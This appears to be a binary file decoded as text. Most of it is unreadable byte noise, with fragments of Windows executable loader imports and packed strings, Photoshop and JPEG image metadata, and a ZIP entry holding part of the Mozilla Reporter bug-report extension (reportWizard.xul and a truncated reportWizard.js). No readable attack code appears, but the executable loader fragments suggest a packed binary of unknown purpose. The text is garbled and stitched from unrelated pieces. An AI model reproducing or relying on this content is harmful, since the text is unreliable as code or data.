w!T4)9tZBlc<,
x,aajYE
[*V^|B)u?
XycA )%
4R5w1g
%!'Y'(
:pBjSqP
PJ2%b6
t6w6Gux
38pq" E
hJVulHWsL<-l_
ht=+?l}3@rrP
}3;+9
HtU*pM<(
Z\YLGA
t9*YKw
yGMa.%
%J=i:
O"os7?
1xtD/g
j:<^$V%e
mh>iFMk/[o
{CQ0*1w9
4Wr7%x{
<)~@mWV
`Z_IDJAtY<i-i
6t<rzt5<`[5L
E;7]A7JKd|JI
li3@kg
WeN)bJ
>3gJF%Lj
B^L<J#%G*6=lf
Tn#qn)r.0
wX8OZm?
CWsi0>
2NbXy4Ro71!6E
'QXqE6
Tmd7 E!
3q4.p=[);"r
H,u"[
ZPv,@J5!-
?zw!.RrM+<
wQkMS&P'P1
YR|7^RVM0iqC
\bw>_|{
WwbfwBL_m
~(N'5&/q{'9
\~c!{MFz|@m!Qk>C&
L83C^(%=
rN4RE^5wH]
z:wy@NaW:c5Si2h
<9Aj?Q)d77(+
^qyc;03Zet
$nggb
9i'eZU$!w
M!@/ce8
zr:S;2__Qx9p=`
a"DJe&dS3$)*
f%o9q\
hm1\GY
WO4O0k
)f/q0fP=
e7NhV7xU
+5C9&I
@sEuQr
+w5kV%5
0dV+ghQl0^/
>fBX&D
C.V7zyic,
8/5$DJ~A{D=:D
gb@U+-
TC2F-a=GP
v%ezB&j1Li
!-Ci~0
)ttg=y|
_ATRPx2
y&Fyuv~^r
bk'+$#*7^'Lz
!rZaz&
^Hmyqk
Ipx&(
4Pxt.$
FHg^BL8YoR
l)"]%l#
/x*_UL'2
NLy`dsf2GK*a,
|i_w<Y[
_H#|Dc
s2xy{`
w"g]P<
0;mfh})b
7CUq]CMC
jV9z)]Jl?
C@EP7$1
f@U2|*lc
Gm18xu
]yJT_}
{pY."h=U
`ZHL~`
1w.7BgpY
Zdp/Rn>
>?i/Ow
apHgV1+PrLd
!i6d@G[
#>BOIr1:%
r>r+HE
wsIAwh<e
/Gn6g1.gUij4H^m2
nITgLTmnvt:9
Y0Kb.Pp/8XiQF>+lp
O0jw%#-
Kl$;.jB%
9`R#IA,n
Texk`%
P#qd\lKB
<*sfk;k
.v^Z[$
qz{W(g8i!D7;uM
tVxNg\
Cb(3>
HVpag]Sn?lQ
YEB~0sqq[
:t_]BJ
skX#r[yzum&wL
p5v{9Fo
Yc>#~^q9?
bkGV-}:
r#hKgb\;
<|Kr9%|
m:Cs^W?+6g{EA23!
aEP0oh3QzLY
H/0\.]
6R]qW>EK
#0 1XiY
@?j&Y($/
0i2nyK\bF
L@8|V,
f.%tS-
iLOls;:
+A'QZ`
wxG]Aa
3yXOq6q;?91q
AVrLMq[+zMOy#w`
vSA'?T
\IT`mN[Q
~,b#*2r
|syW)wH8
A(dXS|
bsl(&o
PmeCv7KjZ:`\}OX
XmO+4V3UNXko,z0dU*D
IU+NdafDum
S"y"Zh
w{5pLy
&/LbxVnE{b4
]<l)$E
(j.LF1
'r;W8}
~T$ivBr
:2&<*&Qe,wj7
;@p"Wy)
d?[xn-#|7m0
kd#a`/
ngN`\DO
h2PswM
/}'_$T
O3|yRG
6%6EDSD
f8'F~=8J6=
GvE2Hl+*@A3O'
80sNSor
vda{& f
cjk_T}+j
q#Kc#i^?,
N#>f\xZ-b
rI2"T?m.FS
~![V&8
tvVEUa7d
{M}Ueg
Pv\o(a8E/,3Ky
9ulAnG)n}
s4jCT?!1|
[KLm1&QOkOq
fU8D8*
!1o?|j7*+`5
0=_l,G_L
^dmI^yp`lP%#%
1puvv\
G-QJD@
FAt_;$<o
`dyv'8
S+#NXV
z~E<z/
!1Na>Jq}
~z\qyE
FE8UZ1&&
@+7cs`
E?x]='
ZaOrF~
gYUFwbZlr
q[%FQx
eIS}<[g!
(2,u73
7oFNLqd
g5UVuZ~
:Ig{8m
QD(QI%C'P
-BT=Cg~\
Eh(qB
%&;FX%
2dE~4^9
{BQd!,r
uVKc1hg
~R0h[b
+Roj?k3eZ
fU,;j}k~
Qx0d.'
3qwIDblZ%
Nm-Z w
p,tUVv
d2:@nPmD036[l
:12DT*p,Wdyv$e
Jsieoc_
c\Ru~=
=!W+BP
+}eDR.Ml:'X
F={P4{a
:D\r8yA
70L92AoU
$\{gI{
_>/~07
Cu"$i{xE~9P@km7"
chcYp+/'
VvS]D!@.8o5V4+
nU#6~
uHO>M?C
8N9t=,7
>zLC9[uO
92V'>h1BuZ/%j
bS. *KDg)t0
O7B[(N
U(l'?XsS\/u$Ii
J__B@y
+TWH,2
kernel32.dll
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualFree
m2_ KW7n
OQ?*CT!
8!5@|K
9w}iX=~L<,
Hq]C<.+
?C&i"p
;==$?K@]
v!pc}nw"J
d"qPw,
{ia0dVD
>z%voql
3hKt2?}
8 JQY'
-Y,'/>owL
!DV,8Jb
F3_Jg6
y$O=Vb
2qia_?upw
T\>FND
ModulqHan8
Virtopc>ken*32+
ZPY[z]8@
+>(/P"
H+SlM8!
{BtpyL(+
P/(#vjE#hM!"xV4
!J*YO*AW$^@f;M
D$4HSUVPg
6A|$ l
\8T<>#
v0`Zf#
9hD-*
9$$ ?|
;0xUeN
:@97oJ
+Pz%}T`oe<~Wq
405=QtL
vB*(3H%Iw]
Dd"B7\
(1XdS!a
N~0SvJQ
~}U?_(
90sk$M
sFpRph
cN,4+KQ07!'
A,R?B-
%# |"!
uD3Z~X0
fdb;u}
'nPPCN1tMs
!Z`;h2=2
dT)}&nAH+6J^|
@tKwFQ
B_^/b2
XY^WVi
PO:M9W
,QAj@Rw3:
]F:9Fu
g!{PWQSL}@
i7Xt|H,!
A|Q@,:Zha]oM9%
Nr'`Q6
vq"d4n
9l@L04+
pUWmsvb
{ u.Th}e<cdc
%sy5|lntba6id|SDqLG5d,al
uj'XGvMagB
wP=tfNfExitPL
}~ActNCO;b2!
n$zH[QY9
<$J0dkX2
`t$$|$(3
r+|$(|$
USQWVRW
ZPR3C
Z^_Y[]
3/12/2019 BM6$
itWeK`H]FuS>cF4O9+7(
j{]hK9
b$_saf
p o:oOt`vgxjym|n|nv_jIZ)@
taL7*@, {Y
o2hOgYfWgHfKfOgOiRkWp[uf}qy~qdGKsN
h5\IYFW<V6~`0_e.V5U5X7Y;Z>WFZMaPfSl[
S=P9P-M(K%G!qZ#6k%M!H"K$K)V!
f"G0G#E
}vJmd8dF?
lB-U;Rk'E`"`d2jGL
Ek#Vf+jj>T'0
Fh%w]/V*>
f[%W)E
?h&R#H
< @"D#F&G
H+F970'
;!A$H'M%Q4RGQSS
S+RPPC4"
>F&M*U,Z)_K^Bb)c-`
\iocP=%
I(O+X._2f9k(n5ndr2k6i#`"ZtgP7
L'P,Y0b9kBr=wzy
Aw>o'e
="M,X0b:lKvJ
DyruX7
4*R/^7iHtY
{C_V@
L3f?rI
7winy$d-Y&K
Lt0g-Z%J
F|Cr4g-Y'J
3v+f,W'I
koo[/\
8A;;B
zuph\T
3/16/2019 13/16/2019 13/16/2019 1
Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
TI%)$IJI$RI$I%)$IOTI%)$IJI$RI$I%)$IO|
|S0l5f:%e[
)A/E3:M
&Z+?u5~Q
ng!NI:jI$B%
eoaylW
m>>-[CX{?X
j~?Xrk
6]e~Ef
}(c]Uuts}OM:
EE![eQns
Z.mm>hk99
b~?LnI
<<zah[+mOv)0{
N&scbDv^3
khv6uM
C?\}8u
xCCcUg-P
t*lm]C
hun$4cW
2mIgK<
}%%W7L4Wxa2Z-h6t;TI%<
S]_WAh
{y?KX[g}p
qoZD%"U;pu57
usHyuW(h
o3v`s7ow'7,5SK]
jqhc1'
UMx4WM-
}OY6j=/S]"S
TI%<~X-
v~-Euk
jUX&<G
klU_X^>
6GhDPSY~9_oy
j_-"y3a
^4Z"C\^}6g
6f_TI%)T
*ivncy-F
~sHGDS$
)$IO8BIM
Version compatibility info
JPEG Quality
!Adobe
`"@2PA3
" aq2#
AQ aq"
@P`Rbr
|smPMbRZ
-mZd>ym
qU=q+9
d@q<+E2oYV8Y_37.5.x
$08 (G
5;,1{^mOp<L1
BhWo8
){W]9}/
U~KwPK0
$u-r"28
6KYrI"Cvm
m$YZ\S]}j`
hRpvH
+<b!]^C@.7
Qib2I\.x_
}&FIb/
s&c=z7 rCR$
)MDnd&s
78AQS%R*g0+u[4*zp5H
UW9)EVLLP@B
!TL>m.'
G1ZE-a
dQ'Rvit
8|/HS;
]3G%].
FW]3E@1#
D;$db.T
S@>@!@h
3D96l p
BK1mGa
ByDxbx(
W;y0Xn&(k
r+lS7?QU
a>4e6x
:$#2lMkY
''3Iud2|c
2!KW,x
yK{2xOA5O
FPL70n^0q
JI2`#(?j
da7T<Xa?S
VWJIke=>
>.DMHsUS\'+rkQ
N! ])+c
cpD@#a=
(@t&({
9YTfA8um.
j"q;Y=qj!8)|%f{/
|;Z3naBI
Sbc#0C!p[$?zv
xE~XeNnsJ
f5}|.R`
`p*=e;U0Lk&
O"Ak50%n
y'u#JK.
fPH!1\,
Ho7 Oj
>|+kiwo
Nnl4:mfP
="s%wN
P{T'F@wi&(l
mXuyHh
RC6=e;whn
lVB,Om
H+sQQ]0AT;f
{isHsIU
9Gz(Skw]v
Q{qh<)!
Rp/]jc!
p)zqd/p
|%sp%9,R.kr^
%/^ =Y\
sap{jW
N5u?$o?
-9zUY-,(X03^+')=x
iHdjv_/
2)XVV(]+Ux
9_e]:8
1^&>t*:
w!^#A+N{`BrUWE
f2wm&/yW
5Q>MVYkMq
97IE<f
5<F`0 UvbIHFGK{
6U=U;AY
8#k3ZKy4
=z1cA-A]T
8Rz*Z@Kt'z %
I()')$/jR
JP,~@%T
#|=u#myv
y/+pj;
mL4F;ug2tY\>H|
l=Q+;u
OU:yVVc
lwY3!]
2N~v21
IA'jRt(13
-QJIe
c3I75!A'p
n7j+\VRd7Zz\ULEageE+,
/9o3d+`byZjcBHP
{k&m|Gq
#!EL8|wFLPQ-u" h
\mh;V=
bJ,3bQ@vJIT_
2b2ABDa"n3kHZ
#c2d9Pl6XjKq
v0veC1
cW8_ZK/j
{5v{M*[9u0s1MODwPnK2
%5PgY%vk|,
's:ZZ1
R4f)NQZV
Haftf3+h8jR!mn($Px
%6m\\tUIW23
&nE\kpvS[&VqHBGS
6/I"%+R
R`PfsN
]$Bvpq
E}=ev+]n1.
^0ISm1{
9f%{oA(:T
`FCM 2
%zSrV$P
20^iYK<3!
}GeTin
s!n{T#"
usM2*b
XifQQ)P
2ZUc;4X
V,%Q>KZ3
KzBY+qH
IPzl]JT
WURCu@:u/7We1=dGr=+l
sE 0iLr|ZCV
$[\JT5;
2P jPI
k)_}M<
p.wWLS 7x,
)+'Sy/
-!,2%$-
:e)Hi4
KBJhd#iJ
6j4SU(
"I:Rv!dF
$ 2Q#BtG>q
N+q$Kqbf\|N?Y#)
6))e)9^Yy\nG
'sjlZR
d(CUqD 8\t
v(&G w
'\49,G2
QH)W5I[
mOJHuBCw3Qj@#JzlO6
PaWTkS
Ca&Z[d<66o
iC36dHBWo
_-W!.lDtJVbJ=8
{tNI10IZ
AV)66mm
[A+% Su-"~
S J=A|~o
Fdc'.T+
e=(+rJ
[mR}FAz
-s?$n%d
[[KO"e
PRv"D~
"x+|mZ
ARiNzf
TOtwVY^c
LIBt `
#&.EUAZ
>~'J2=Io8
E6|Xjw_u"AT*Z
UUhRtQE
$y9/b
nG$))u
^qI@HID
CSeRSw+Y
=4S2Y%MZ[JJ
)!hSj>ARO
(4##`X
p itT"4]'r[wq=>
QgK)?%DmqR
zlm%a:5
h(MM'q
Ci5)7PiA@u=%(F
?2@${` )@
iAR:n?|)
}3/24/2019 3/24/2019 3/25/2019 1BM
DDDLDDDDDDDDDDDLDDDDDDDDDLDDDDDLDDDDDDDDDDDDLLDDDDDLLDDDDDLDLDDDDDDLDDDDDLDDDDDDLDLDLDDDDDDDDLDDLDLDDLDLDDDDDDDLDLDDLDLDDDDDDDDLDDDDDDDDLDDLDDDDDDDDLDDDLDLDDDDDDDLDLLDDLDDDDDLLDDDDDDLDDLDDLDDDDDLLDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDDDDDDLLDDDDDLDLDDDDDDLLLDDDDDDLDLLDDDLDLLLLLDDDDDDDDLLLDDDDDDDDDLLDDDDLDDDLLDDDLDDDDDDDDLLDDDDDDLDDDDDDLDLDLDDDDDLLLDDDDDLDLDLDDDDDDLDDDDDDDLLDDDDDDLLDDDLDDDDDDDDDDLLDDDDLDDDLLLDDDDLDDDLDLLLLLDDDDDDLDDDDDDLLDDDDDDDLDLDDDDDDLLDDDDDLDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLLDDDDLDDDDDLDDDDDLLDDDDDDLDDLLDLDDDDDDDLDLDDLDDDDDDDDLDDDLDDDDDDDDLDDDDDDDDLDLDDLDLDDDDDDDLDLDDLDLDLDDDDDDDDLDDLDLDDDDDDLDDDDDLDDDDDDLDDDDDDDLLDDDDDLLDDDDDLDDDDDDLDDDDDLD3/28/2019 13/28/2019 13/29/2019 1
&Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
kRRd8-
cY^Llu;.27,mI!
'M>)cb{1b}Mx
?F5u62*1
bw*'i$:bI$
+1[;tRe?/6YON=:jZ
]q42f>;7
mrq3"J
mv{m'~E1*l5
_k]f5>|fllZlfa^/-o W-iqDg7
z/ef;xp;m
' ;$R-
32?C1Z
`[5moQz]x}s
5IzhN{FgU?Akc;f
Fzxuz;
R}}K+]l1
UN;nUq']_!O-`<
*=;l5n.;w_
uL\`jk6=H
kJoOao4g<_+j
{=[\V5
_g=5ED
Szi$Dvoa
5YzY8b
;4b\.7f8
re?a5/
o{cy4}o
zM:=ud:ZsF1i27dd
>Pe6HVpv=ijem]
fBX1/$M
pT0[.`;qZ]N>{E
26Vc}[[
kgn??}#,#OsJs:F^
[>iGXkj
tX-}gn+
uI$<\K2(7kC`lkXG_
-f5"im
8pSpe(
v@%-q p
a PcZ!
S%.0<xL-Eck@=8
:Tlh<b|S
(NJY:I$
Version compatibility info
JPEG Quality
!Adobe
P1A"#$
AQaq"
@Pr3$C%
`]P*uK
G:|NX]v
Y=:*6wRzY
\;>6<v>|
4Q/~gpJ{6
Xpy%$ZQEHu.[
%oHh<v=8
[_7gZN
]z>x#K
p9CY5.
jy?<=[
t5`VnL_U
AOI]3;u9.^x
SZZ0<]V
Sbfji$Hl
j/7k,b
h[^VTNu(39h
'>'VU+
QZAi<jjS<$
g/Y2*31
--$Mcq/
Y@)~52
2tqZq}G0
7-SSm.
~:V|Z'
d+/_q8
I+oW`"!abp%
I.G08e,J[\Xq2&[{*FhyK
H:YF,}(qu
*BEYa
v89S#ct3$%BA1Q
T!ZEvQOI(D+c
XTf"|
W!f0f%[
*1q"qD
9Qvqnk6Is
;6fBmxogV^QQRqlhR>t
3uY]}cKMIW
e,T[ MpATLU
Y$-Ls)~
V9$7Q_@
OD*1@@
B<B[wZ^-@
!9K9DwB`
R<RL-9ET
c7UAk0
:>f^"FQh
>BAd};MZse
x3##)Uu
F*@`9e
|b1w:dA
Qt}5}l,^3ky: e$|
pST`Ow/
V}o#KJ'`mb7
,ULN`w|uYzR
IR?`1inV
f)`z|H
DJTGb$n
;vQn@2`@@
IPM0L@
@5k`}7
/;OfjmR
,w$~Fcd I(ylzCd
lYyFyN
! {R.o;=
}#mVLKU-k
eB]kul
81;DN1V?S+`
!nZ"Ma "^1nj
IDL\AwVuls
10^P*/=N
>]14*
*5zX0^8`
OXu$E\N0b&v
nm2v5p
ZzJ;j!
HxG#8T)
1e[W>w
5)5O@O
G-Q; ze(#?Mi{N
8q0=e}
hen4@kZ
EPSL5k2
;Hmg{$
@ U,}G
@rOLb&
H.(P4N&m-9JW)
trW<6S
,)U8OgB7kikWk
Rk%:s;P
5(H8(j
"!sa,0z
=FSae7bx5
xUQN?SB
=c-_E{V-
<{B[J6&
sposPr:
%#C_\\Vpy
RuPfv!
;]&Ps;
Cym9pR@
j8ApL;
~tr@k4
J4Ph.8fJ
Y4\"0w
{j.Lf
gNRBd3e(\9
C~X0r+%S29|>|
s}Dup&E
g.]K@g
pFj94:li.ikqzW0
j:=P6uAr
5NNwS*
qfi- ")slr#C
H !2"*Yzy(.`#\$DF
;1S5r`
&Yw$Th!G
GCCVT~YW`X)NI9l3l[Uo+
~42v",Xz<
.AQas!%]
4UXuk}xWNd
Y.1ms.
Llz@2\O
d;}7TspuG2
;:45I
7SmE;V
Krz|_&+>?1U
4)-<Nokn
&e<e_!
hK$elnGZKPD
\s:z|I;RBKFO_`
tsE)cS:
J#n3|:
/%ox${
=1>2?J
71C3\F
q>~~E
Fpo!a,c
b.,q8)
Tmm1#^!cbB
VD1` Cqs&
pBg2Gh-a
K||oqj]
rU"nGFU;2
>/~vZx;
W@:l>6
dhcI..\<
o|1k,H~'m
D46e/=)CZ
LS<-rQ#-G!%$
@x|o9l-)^%gmyn
zM8djGms!cPJ
h?RZZZO]Zo
~|g$;\[4G/!L
u0]lux
da$4M )
VT!o$bdx*u
uB@u>}z?8
DxDU?u?
y.vL'W
r_y0M?
@he,$,
{,\p!ORvUIJwxwU
W^i@;C
5EMket'AX/
oMm"JVmO\/
pc.'p{a2%
{/~rW9,
[\.m",+Vk*
\e,DD#Xc(% nue3|zn)qs,Ac--
)|!`GXOI
]o2Oe,
KgiZuhp
?uRi@{@
y\<Wy`V
.ukr.y/&LOy
zhap5Iy>
RS&_k:
cYs5v
*8}(qi[f6`
/G\\%6s^PwS#k`X
+,QecU7
]J=c~<cc!Z
p&dElc|
~]*M:\emOc
11`(iYKY
v^18"r-q.x
7M$F=X
I@{Hhu!A;
:?1E$9NO
*J>=<r
d.U~g]ZJ
-H#$aX]2
zr:m)fA
{c>w2dZM
qL(y
lC2Lvo+
]s\_I=
/GSqW<
TRhOn8
@w?'x<:
INkfy?gy
_NR?MVP-6E#
)Bo>+dVb?.ZnF
VVOGz[9Y2k
iIQVT*J
NT[[iz}<F[s
C)OQj@
]E$/{,
JuNj#RA4Cui5
OJ$K%V8"
OhhG`GAiC]G
SA^x0F;T'
zhhakD
tg*ueUjNld;
!M}ZW[h
iTRtui
Jw~Y](
cONKZB
=G'X2t:
kyT<f8;.
6= vWsZ
\?i+6{z{Yk#!SZ
Tz15@a
=.+>;uMF^
:Smtw#
Wo~]*
u#BR}O
iF]ETU_
4/1/2019 14/1/2019 14/1/2019 1PK
content/reporter/reportWizard.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
<?xml-stylesheet href="chrome://reporter/skin/reportWizard.css" type="text/css"?>
<!DOCTYPE wizard [
<!ENTITY % brandDTD SYSTEM "chrome://branding/locale/brand.dtd">
%brandDTD;
<!ENTITY % reportWizardDTD SYSTEM "chrome://reporter/locale/reportWizard.dtd">
%reportWizardDTD;
<wizard id="reportWizard" title="&reportWizard.title;"
style="min-width: 535px; min-height: 442px;"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reportWizard.js"/>
<stringbundle id="strings" src="chrome://reporter/locale/reportWizard.properties"/>
<!-- Privacy Notice -->
<wizardpage id="privacyNotice"
onpageshow="initPrivacyNotice()"
onpageadvanced="setPrivacyPref()"
label = "&privacyNotice.label;">
<description>&reportWizardPrivacy.description;</description>
<vbox id="privacyFrame" flex="1">
<iframe id="privacyStatement" type="content" flex="1" src="" />
</vbox>
<description id="mustAgree">&reportWizardMustAgree.description;</description>
<vbox>
<hbox>
<checkbox id="dontShowPrivacyStatement" label="&dontShowPrivacyStatement.label;" accesskey="&dontShowPrivacyStatement.accesskey;" oncommand="privacyPolicyCheckbox()" />
</hbox>
</vbox>
</wizardpage>
<!-- Report Form -->
<wizardpage id="reportForm"
onpageshow="initForm()"
label="&reportForm.label;">
<description>&reportForm.description;</description>
<separator />
<grid>
<columns>
<column/>
<column flex="1"/>
</columns>
<rows>
<row align="center">
<label control="url" value="&reportForm.url.title;" accesskey="&reportForm.url.accesskey;"/>
<textbox id="url" size="60" readonly="true" class="noborder"/>
</row>
<row align="center">
<spacer/>
<checkbox id="behind_login" label="&reportForm.behind_login.title;" accesskey="&reportForm.behind_login.accesskey;"/>
</row>
<row align="center">
<label control="problem_type" value="&reportForm.problem_type.title;" accesskey="&reportForm.problem_type.accesskey;"/>
<!-- XXX: Perhaps this should eventually/maybe come from somewhere else? Eh, not sure so lets just hardcode this for now. -->
<menulist label="problem_type" id="problem_type" oncommand="validateForm()">
<menupopup>
<!-- ************* WARNING *************** -->
<!-- DO *NOT* Add/change/modify without consulting with r.m.o server admin first! -->
<!-- ************ /WARNING *************** -->
<menuitem label="&reportForm.problem_type.chooseOne.title;" value="0"/>
<menuitem label="&reportForm.problem_type.item1.title;" value="1"/>
<menuitem label="&reportForm.problem_type.item2.title;" value="2"/>
<menuitem label="&reportForm.problem_type.item3.title;" value="3"/>
<menuitem label="&reportForm.problem_type.item4.title;" value="4"/>
<menuitem label="&reportForm.problem_type.item5.title;" value="5"/>
<menuitem label="&reportForm.problem_type.item6.title;" value="6"/>
<menuitem label="&reportForm.problem_type.item8.title;" value="8"/>
<menuitem label="&reportForm.problem_type.item9.title;" value="9"/>
<!-- Other problem: must be item #7 and must be last -->
<menuitem label="&reportForm.problem_type.item7.title;" value="7"/>
</menupopup>
</menulist>
</row>
<row>
<label control="description" value="&reportForm.describe.title;" accesskey="&reportForm.describe.accesskey;"/>
<textbox id="description" value="" cols="40" rows="5" multiline="true" size="40" class="noborder"/>
</row>
<row align="center">
<label control="email" value="&reportForm.email.title;" accesskey="&reportForm.email.accesskey;"/>
<textbox id="email" size="60" class="noborder"/>
</row>
<row align="center">
<spacer/>
<hbox>
<label id="privacyPolicy" class="text-link"
value="&reportForm.privacyPolicy.title;"
tooltiptext="&reportForm.privacyPolicy.tooltip;"/>
</hbox>
</row>
</rows>
</grid>
</wizardpage>
<!-- Send Data -->
<wizardpage id="sendReport"
onpageshow="sendReport()"
label="&sendReport.label;">
<description>&sendReport.description;</description>
<separator />
<description id="sendReportProgressDescription"/>
<progressmeter id="sendReportProgressIndicator" mode="undetermined" value="0%"/>
</wizardpage>
<!-- Finish -->
<wizardpage id="finish"
label="&finish.label;">
<textbox id="finishSummary" size="60" readonly="true"/>
<hbox>
<checkbox id="showDetail" label="&reportResults.showDetail.title;" accesskey="&reportResults.showDetail.accesskey;" oncommand="showDetail()"/>
</hbox>
<vbox id="finishExtendedFrame" flex="1">
<iframe id="finishExtendedSuccess" type="content" src="report.xhtml" flex="1"/>
<iframe id="finishExtendedFailed" type="content" src="error.xhtml" flex="1"/>
</vbox>
</wizardpage>
</wizard>
}e7IF;
content/reporter/reportWizard.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Boris Zbarsky <bzbarsky@mit.edu>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
/********************************************************
* *** Warning ****
* DO _NOT_ MODIFY THIS FILE without first contacting
* Robert Accettura <robert@accettura.com>
* or a reporter.mozilla.org Admin!
*******************************************************/
const gParamLanguage = window.navigator.language;
const gRMOvers = "0.3"; // Do not touch without contacting reporter admin!
const gParamURL = window.arguments[0];
const gParamUserAgent = navigator.userAgent;
const gParamOSCPU = navigator.oscpu;
const gParamPlatform = navigator.platform;
const gCharset = window.arguments[1];
// Globals
var gParamDescription;
var gParamProblemType;
var gParamBehindLogin;
var gParamEmail;
var gParamBuildConfig;
var gParamGecko;
var gPrefBranch;
var gStatusIndicator;
function getReporterPrefBranch() {
if (!gPrefBranch) {
gPrefBranch = Components.classes["@mozilla.org/preferences-service;1"]
.getService(Components.interfaces.nsIPrefService)
.getBranch("extensions.reporter.");
return gPrefBranch;
function getBoolPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getBoolPref(prefname);
catch(ex) {
return aDefault;
function getCharPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getCharPref(prefname);
catch(ex) {
return aDefault;
function initPrivacyNotice() {
var reportWizard = document.getElementById('reportWizard');
// If they agreed, we continue on
if (getBoolPref("hidePrivacyStatement", false)) {
reportWizard.advance();
} else {
// Don't let users rewind or go forward
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// Load Privacy Policy
var privacyURL = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
document.getElementById("privacyStatement").setAttribute("src", privacyURL+"?plain");
function privacyPolicyCheckbox() {
// if checked, hide message and enable forward button, otherwise show the
// message and disable the forward button.
var canAdvance = document.getElementById('dontShowPrivacyStatement').checked;
document.getElementById('reportWizard').canAdvance = canAdvance;
function setPrivacyPref(){
if (document.getElementById('dontShowPrivacyStatement').checked){
var prefs = getReporterPrefBranch();
prefs.setBoolPref("hidePrivacyStatement", true);
function initForm() {
var strbundle=document.getElementById("strings");
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
document.getElementById('url').value = gParamURL;
// Change next button to "submit report"
reportWizard.getButton('next').label = strbundle.getString("submitReport");
reportWizard.getButton('next').setAttribute("accesskey",
strbundle.getString("submitReport.accesskey"));
// Set the privacy policy link href
var url = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
var privacyLink = document.getElementById("privacyPolicy");
privacyLink.setAttribute("href", url);
// We don't let the user go forward until they fulfill certain requirements - see validateform()
reportWizard.canAdvance = false;
document.getElementById("problem_type").focus();
function validateForm() {
var canAdvance = document.getElementById('problem_type').value != "0";
document.getElementById('reportWizard').canAdvance = canAdvance;
function registerSysID() {
var param = {
'method': 'submitRegister',
'language': gParamLanguage
// go get sysID
sendReporterServerData(param, onRegisterSysIDLoad);
function onRegisterSysIDLoad(req) {
if (req.status == 200) {
var paramSysID = req.responseXML.getElementsByTagName('result').item(0);
// saving
if (paramSysID) {
var prefs = getReporterPrefBranch();
prefs.setCharPref("sysid", paramSysID.textContent);
// Finally send report
sendReport();
return;
// Invalid Response Error
var strbundle = document.getElementById("strings");
showError(strbundle.getString("invalidResponse"));
return;
// On error
var errorStr = extractError(req);
showError(errorStr);
function sendReport() {
// Check for a sysid, if we don't have one, get one it will call sendReport on success.
var sysId = getCharPref("sysid", "");
if (sysId == ""){
registerSysID();
return;
// we control the user path from here.
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// why would we need a cancel button?
reportWizard.getButton("cancel").disabled = true;
var strbundle=document.getElementById("strings");
var statusDescription = document.getElementById('sendReportProgressDescription');
gStatusIndicator = document.getElementById('sendReportProgressIndicator');
// Data from form we need
gParamDescription = document.getElementById('description').value;
gParamProblemType = document.getElementById('problem_type').value;
